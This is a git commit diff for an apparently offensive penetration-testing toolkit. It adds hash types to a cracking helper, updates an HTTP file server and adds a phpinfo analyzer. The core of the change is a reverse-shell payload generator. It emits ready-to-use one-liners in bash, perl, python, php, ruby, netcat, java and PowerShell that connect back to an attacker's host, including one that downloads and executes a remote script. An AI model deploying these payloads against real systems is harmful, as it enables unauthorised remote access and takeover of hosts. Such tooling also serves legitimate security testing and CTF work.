This commit is contained in:
Roman Hergenreder 2021-12-08 17:50:48 +01:00
parent 12af2f80b7
commit c297fa6a1a
4 changed files with 96 additions and 20 deletions

@ -33,12 +33,14 @@ class HashType(enum.Enum):
RAW_SHA2_224 = 1300 RAW_SHA2_224 = 1300
RAW_SHA2_256 = 1400 RAW_SHA2_256 = 1400
SHA256_PASS_SALT = 1410 SHA256_PASS_SALT = 1410
SSHA256 = 1411
SHA256_SALT_PASS = 1420 SHA256_SALT_PASS = 1420
HMAC_SHA256_PASS = 1450 HMAC_SHA256_PASS = 1450
HMAC_SHA256_SALT = 1460 HMAC_SHA256_SALT = 1460
RAW_SHA2_384 = 10800 RAW_SHA2_384 = 10800
RAW_SHA2_512 = 1700 RAW_SHA2_512 = 1700
SHA512_PASS_SALT = 1710 SHA512_PASS_SALT = 1710
SSHA512 = 1711
SHA512_SALT_PASS = 1720 SHA512_SALT_PASS = 1720
# SHA3 # SHA3
@ -145,6 +147,10 @@ class Hash:
self.type.append(HashType.SHA1) self.type.append(HashType.SHA1)
elif hash_type == "SSHA": elif hash_type == "SSHA":
self.type.append(HashType.SSHA1) self.type.append(HashType.SSHA1)
elif hash_type == "SSHA256":
self.type.append(HashType.SSHA256)
elif hash_type == "SSHA512":
self.type.append(HashType.SSHA512)
if ":" in raw_hash: if ":" in raw_hash:
parts = raw_hash.split(":") parts = raw_hash.split(":")

@ -5,6 +5,7 @@ from urllib.parse import urlparse
import threading import threading
import requests import requests
import sys import sys
import time
import os import os
import ssl import ssl
import util import util
@ -82,6 +83,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
data = b"" if len(result) < 2 else result[1] data = b"" if len(result) < 2 else result[1]
headers = { } if len(result) < 3 else result[2] headers = { } if len(result) < 3 else result[2]
if path in self.server.dumpRequests:
headers["Access-Control-Allow-Origin"] = "*"
if len(headers) == 0: if len(headers) == 0:
self.send_response(status_code) self.send_response(status_code)
else: else:
@ -128,6 +132,8 @@ class HttpFileServer(HTTPServer):
self.dumpRequests = [] self.dumpRequests = []
self.prefix_routes = { } self.prefix_routes = { }
self.is_running = True self.is_running = True
self.listen_thread = None
self.has_exited = False
def cleanPath(self, path): def cleanPath(self, path):
@ -164,12 +170,14 @@ class HttpFileServer(HTTPServer):
def enableLogging(self): def enableLogging(self):
self.logRequests = True self.logRequests = True
def enableSSL(self, keyFile=None, certFile=None): def enableSSL(self, keyFile="private.key", certFile="server.crt"):
if keyFile is None:
print("Generating certificate…") if not os.path.isfile(keyFile):
print("Generating private key and certificate…")
os.system("openssl req -new -x509 -keyout private.key -out server.crt -days 365 -nodes") os.system("openssl req -new -x509 -keyout private.key -out server.crt -days 365 -nodes")
certFile = "server.crt" elif not os.path.isfile(certFile):
keyFile = "private.key" print("Generating certificate…")
os.system("openssl req -new -x509 -keyin private.key -out server.crt -days 365 -nodes")
self.socket = ssl.wrap_socket(self.socket, self.socket = ssl.wrap_socket(self.socket,
server_side=True, server_side=True,
@ -185,21 +193,42 @@ class HttpFileServer(HTTPServer):
# pass # pass
def startBackground(self): def startBackground(self):
t = threading.Thread(target=self.serve_forever) self.listen_thread = threading.Thread(target=self.serve_forever)
t.start() self.listen_thread.start()
return t return self.listen_thread
def start(self): def start(self):
return self.serve_forever() return self.serve_forever()
def get_base_url():
addr, port = self.server_address
if port != 80:
port = f":{port}"
protocol = "https" if gettype(self.socket) == ssl.SSLSocket else "http"
return f"{protocol}://{addr}{port}"
def stop(self): def stop(self):
self.is_running = False self.is_running = False
time.sleep(1)
try:
# dummy request # dummy request
requests.get(f"http://{self.server_name}:{self.server_port}/dummy") for i in range(3):
requests.get(f"{self.get_base_url()}/dummy")
if self.has_exited:
break
time.sleep(1)
except:
pass
if self.listen_thread != threading.currentThread():
self.listen_thread.join()
def serve_forever(self): def serve_forever(self):
self.has_exited = False
while self.is_running: while self.is_running:
self.handle_request() self.handle_request()
self.has_exited = True
if __name__ == "__main__": if __name__ == "__main__":

@ -68,32 +68,42 @@ class ShellListener:
while self.running and self.connection is not None: while self.running and self.connection is not None:
self.sendline(input()) self.sendline(input())
def generatePayload(type, local_address, port): def generatePayload(type, local_address, port, index=None):
commands = []
if type == "bash": if type == "bash":
return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port) commands.append(f"bash -i >& /dev/tcp/{local_address}/{port} 0>&1")
elif type == "perl": elif type == "perl":
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n" \ commands.append(f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");}};'")
"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" % (local_address, port, local_address, port) commands.append(f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'")
elif type == "python" or type == "python2" or type == "python3": elif type == "python" or type == "python2" or type == "python3":
binary = type binary = type
return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port) commands.append(f"{binary} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'")
elif type == "php": elif type == "php":
return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port) commands.append(f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/bin/bash -i <&3 >&3 2>&3\");'")
elif type == "ruby": elif type == "ruby":
return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port) commands.append(f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'")
elif type == "netcat" or type == "nc": elif type == "netcat" or type == "nc":
return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port) commands.append(f"nc -e /bin/bash {local_address} {port}")
commands.append(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {local_address} {port} >/tmp/f")
elif type == "java": elif type == "java":
return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port) commands.append(f"r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()")
elif type == "xterm": elif type == "xterm":
return "xterm -display %s:1" % (local_address) commands.append(f"xterm -display {local_address}:1")
elif type == "powercat": elif type == "powercat":
return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port) return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
elif type == "powershell": elif type == "powershell":
payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port) payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port)
payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode() payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode()
return f"powershell.exe -exec bypass -enc {payload_encoded}" return f"powershell.exe -exec bypass -enc {payload_encoded}"
else:
return None
if index is None or index < 0 or index >= len(commands):
return "\n".join(commands)
else:
return commands[index]
def spawn_listener(port): def spawn_listener(port):
pty.spawn(["nc", "-lvvp", str(port)]) pty.spawn(["nc", "-lvvp", str(port)])

31
phpinfo-analyzer.py Normal file

@ -0,0 +1,31 @@
import requests
import sys
from bs4 import BeautifulSoup
def analyze(soup):
tables = soup.find_all("table")
for table in tables:
thead = table.find("tr", { "class": "h" })
if not thead or len(thead.find_all("th")) != 3:
continue
for tr in table.find_all("tr"):
tds = tr.find_all("td")
if len(tds) != 3:
continue
label, local, master = tds
if local.text != master.text:
print(f"[+] {label.text} differs. local={local.text} master={master.text}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: %s <url>", sys.argv[0])
else:
url = sys.argv[1]
res = requests.get(url)
if res.status_code != 200:
print("[-] Server returned:", res.status_code, res.reason)
else:
soup = BeautifulSoup(res.text, "html.parser")
analyze(soup)